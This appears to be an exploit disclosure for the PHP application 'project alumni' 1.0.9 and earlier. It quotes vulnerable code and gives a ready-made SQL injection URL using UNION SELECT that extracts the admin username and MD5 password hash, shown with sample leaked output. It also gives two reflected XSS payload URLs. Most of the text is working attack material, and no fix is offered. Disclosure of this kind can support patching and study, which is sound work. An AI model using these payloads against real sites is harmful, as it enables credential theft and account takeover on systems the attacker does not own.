project-alumni sql injection & xss
author : tomplixsee 
tomplixsee@yahoo.co.id

--------------------------------------------------------------------------
affected software version  : project alumni 1.0.9, 1.0.8, or lower??
download      : https://sourceforge.net/projects/project-alumni/


vulnerability
=============

1.sql injection
++++++++++++++++
vulnerable code on view.page.inc.php: 
$result = dbQuery("SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_users` WHERE `alumniYear` = '".$_GET['year']."'"); 

exploit:
http://victim/path/index.php?act=view&year=2003' union select 1,1,1,alumniUserName,1,alumniPassword,1,1,1,1,1,1,1,1,1,1,1,1,1 from alumni_users where ID='1 

result example:
 ________________________________________________________________________________
|Name                 |Email     |
|--------------------------------------------------------------------------------|
| tomplixsee (1) f25a2fc72690b780b2a14e140ef6a9e0    |Not Available   |
|--------------------------------------------------------------------------------|

tomplixsee is admin's username and f25a2fc72690b780b2a14e140ef6a9e0 is md5 encrypt from admin's password.


2.xss
++++++
vulnerable code:
_____________________________________________________________________________________
#/xml/index.php                            
#
#  <?php 
#  if(isset($_GET["year"])){
#    $year = $_GET["year"];
#  }
#  if($year=='FRND')
#    $yearText = "Friends of ".getConfigVal("schoolAbbr",2)." Alumni";
#  else
#    $yearText = "Class of $year";
#  ?>
#  .....
#  <?php echo"$yearText";?>
#  .....
#
#exploit:
#http://victim/path/xml/index.php?year=<xss>
#_____________________________________________________________________________________
#/index.php
#
#  <?php if(!$_GET['year']) { ?>
#  ....      
#  <?php } else if ($_GET['year'] < getConfigVal("alumniStartYear",2)) { ?>
#  ....
#  <?php } else { ?>
#  <h2>Alumni for the Graduating Year of <?php echo $_GET['year'] ?></h2>
#
#exploit
#http://victim/path/index.php?act=view&year=<xss>
#______________________________________________________________________________________


thanks to:
anak-anak jaringan sukabirus, all my friends at stt telkom, jasakom community, 
sibalbal, crutz_ao, bidulux, akillers 179...........